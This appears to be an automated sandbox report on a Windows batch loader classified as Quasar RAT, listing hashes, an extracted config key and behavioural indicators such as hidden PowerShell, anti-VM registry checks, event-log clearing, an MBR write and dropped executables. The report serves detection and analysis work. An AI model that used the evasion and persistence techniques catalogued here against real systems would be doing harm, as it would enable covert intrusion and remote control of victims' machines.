quasar | a8f184a333fb89f41ddca323472463b4ee2cbed63d26d105823300148e2015cb

Analysis

max time kernel
150s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
04-01-2025 01:31

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General

Target

Loader.bat
Size

7.3MB
MD5

1bec1098946595a03fa067a3ef7ce292
SHA1

89cfb4a2f8800f1b944d906d959639907672317d
SHA256

a8f184a333fb89f41ddca323472463b4ee2cbed63d26d105823300148e2015cb
SHA512

dc7e73ed353d50b73a0eb6f1d955812a29fc5e05df300487d1eda49cc78e6748929a17cd59b58148f7e8696fd0fdfd21e8269af6788f1037bda6d8ddf30c6082
SSDEEP

49152:262lW3ZtqF71E0f+DP24xmB1F+RfHhZzvTUPbFJMg0FQ5/Ai4cr5YSW7iFsihJv1:k

Score

10^/10

quasar bootkit defense_evasion execution persistence spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

encryption_key
6F38862AF940DB0B877E1A5C024641D617D7FAB6
reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/1540-2439-0x000001B8FF580000-0x000001B8FFD04000-memory.dmp	family_quasar

Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 512 created 4176	512	WerFault.exe	89
PID 4924 created 1540	4924	WerFault.exe	121

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 4176 created 612	4176	powershell.exe	5
PID 2552 created 4176	2552	svchost.exe	89
PID 1540 created 612	1540	powershell.exe	5
PID 2552 created 1540	2552	svchost.exe	121
PID 2552 created 1540	2552	svchost.exe	121

Blocklisted process makes network request 22 IoCs

flow	pid	Process
36	1540	powershell.exe
38	1540	powershell.exe
39	1540	powershell.exe
40	1540	powershell.exe
41	1540	powershell.exe
42	1540	powershell.exe
43	1540	powershell.exe
49	1540	powershell.exe
50	1540	powershell.exe
52	1540	powershell.exe
54	1540	powershell.exe
55	1540	powershell.exe
56	1540	powershell.exe
57	1540	powershell.exe
58	1540	powershell.exe
59	1540	powershell.exe
60	1540	powershell.exe
61	1540	powershell.exe
62	1540	powershell.exe
63	1540	powershell.exe
64	1540	powershell.exe
65	1540	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4176	powershell.exe
1540	powershell.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p"	WaaSMedicAgent.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Deletes itself 1 IoCs

pid	Process
4176	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
532	VQvmww.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 3 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx	svchost.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\E:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	wmiprvse.exe

Drops file in System32 directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\Application Experience\PcaPatchDbTask	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\$nya-fMkUOibZ	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D	lsass.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 22 IoCs

pid	Process
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4176 set thread context of 4588	4176	powershell.exe	91
PID 1540 set thread context of 844	1540	powershell.exe	122

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	powershell.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File created	C:\Windows\$rbx-onimai2\$rbx-CO2.bat	cmd.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\$nya-onimai2	powershell.exe
File created	C:\Windows\$nya-onimai2\VQvmww.exe	powershell.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\$rbx-onimai2	powershell.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe

Checks processor information in registry 2 TTPs 14 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Enumerates system info in registry 2 TTPs 7 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\DeviceLicenseUpdateFailureCount = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02dvyqonaxamgfxb\DeviceId = "<Data LastUpdatedTime=\"1735954284\"><User username=\"02DVYQONAXAMGFXB\"><HardwareInfo BoundTime=\"1735954285\" TpmKeyStateClient=\"1\" TpmKeyStateServer=\"3\" LicenseKeySequence=\"1\" LicenseInstallError=\"0\" LicenseKeyVersion=\"2\"/></User></Data>\r\n"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02dvyqonaxamgfxb\DeviceId = "<Data LastUpdatedTime=\"1735954284\"><User username=\"02DVYQONAXAMGFXB\"/></Data>\r\n"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1735954365"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb010000004c4b263ce3325643a89d57a9b6291f68000000000200000000001066000000010000200000009d914b13453d79e0f505ba7878825e29b06fb4be0f3e59a60c21ce0d8406f8ee000000000e80000000020000200000005913b1e98c209bfa30ecd4f05b7164e557d9048f0817ac113f76ee4383b353fdb0030000cf056c6d9f1bb4cc97ee2bc2104ecfda869a6018153c78c45810e7b85419dcaddc6ebbe86c5ac54e4fcb1eca7b7763604662437cccb9fa227d1f42a37116038e7e4280df769f229cca7f2d3f9a5981a855fd91efb380504b91b2fdfd81f9d1259055562395e63eb28321cae0d998fc546076d3fde6c886fc68b12b14052b91f4afcfbcfe503704c1f29bc2c1f25e80859dd2aebf2aa724ba8fef62ebce349e43995eb844a258a4004d2b36621bca7df17219af196d4145b381da3abca66ddb7adffe810a59ddfd016819baf531cdc7d201696986c4d892694f90d4eb11a5893031950e9ef5bbca872481e5bdf618d85e313e5e11c254c1c7a430c539f2351e042f2ce5ab9cc4d0570f1c9ed8bd3aaba7992036b46164ae517b337d06998a7da5329f5e22d8904ca8df7732bd64b657c3868068dcc00730d19f50f0434d329090ee5b185fc2bbf741e9679de2c7eaed6d0e65ea98c1ce98cb51a1aba63d7669a14b5a364c88b2cdd882edd62f3584d9e04a682a87e6d2a950155e2cf8bcd232e915fc8eb6d441fa786b5c6761d71a4256a35b429021b4a8a3d3faf0e08f3cddd3e59b4d0d148def915d15e5f3322c9a567edc89c6c6158cedbf8c9e9799727bdd06eba92359ff9f2953aad2ad22aa13ce9eddb8a9ba8991153493de0d37e788f46fc432849261dc687dd7a05f75d0cdd0032bfd28894ec4fd00795b0a87c5cc4344dfbaccede83c92080bf5a60f6b9aa880df4883559564df824d9775a52dfba1cbac88456af56f82dd25ed79bf7d3849fedebd18c8ae98b8da9ba826f2dcfeaa4c95fa297ffdd4c983324f94e7fb8f53ae4333ce45b0fd215bc8279a4eeb02af95c29c118acf7f41d6ec01dd20dc8ddabf7fb23367cb460007ab669c2de656981dab93b98772f2e739ab1a33456c6d2ce1631559d61e7a5c3dd43f4899937e4014ef8369aec867214df48a846024af54369661e206eec877f2a4fe5dc4d388e660dfaa71224b43235a771e6d1393348513fee388fb99fe8e6291497fb4bc85728b536b21a04ba95a178637c54a66f38a82b99d672ffb813b6798ed3cc061fdaa1b12cccf0bd37043c4f30724e06869d755e2d25312650c400146557f8f8993717a6fa52879e3f48289b33e26af9806716f11a5d869a97c51a990d87fffdd90f3ea9c5970b3434618762dc04fea9cc99dc152c32f93ef196c0eb3de4386631ca0a6049e67b9d9933d263fadd1e2db6380c75f2e6d96e76c8dabaada80ac1c250d4a0f88d437167e0e06cf3584918b3c8c458649beb70613e33e5077b6d50fef32b669e4d8d5ad1d7dba06eff9caf118e940000000e960acfd053120a8b50f853494e7bc75bc996a30eeb8ba3bcbb878f72fdaa680494a4162a8a56c6855171f18c133a15499df362a767d879a62c973686776ed4a	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02dvyqonaxamgfxb	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02dvyqonaxamgfxb\Provision Saturday, January 04, 2025 01:31:23 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAATEsmPOMyVkOonVeptikfaAAAAAACAAAAAAAQZgAAAAEAACAAAABoqe6kQEu3pmLkfOFwZnLY0lHVOCs534ppBMFsO14UcgAAAAAOgAAAAAIAACAAAADk2ekbslLOCaFa/j78vDSWc68JwvZywsA1JG/2UHq7JyAAAAC3pGtPqWvV+9Azq6+qyWfWkyzmvec5j5HH0HBShiyhNEAAAACDUaWmIOxpvH+pTj+oW21tdA3DcLXa025B30JL/UtnLWdgQ8aXeMXYjDG4ImhqtnOyMR7ZPUhUgsJYI8b7EX3w"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={A12D8F7C-D7F5-483B-B90C-BCC15D5FB2ED}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02dvyqonaxamgfxb\DeviceId = "<Data LastUpdatedTime=\"1735954284\"><User username=\"02DVYQONAXAMGFXB\"><HardwareInfo BoundTime=\"1735954284\" TpmKeyStateClient=\"1\" TpmKeyStateServer=\"3\" LicenseKeySequence=\"1\" LicenseInstallError=\"0\" LicenseKeyVersion=\"2\"/></User></Data>\r\n"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "0018C010AE1964F3"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager	mousocoreworker.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
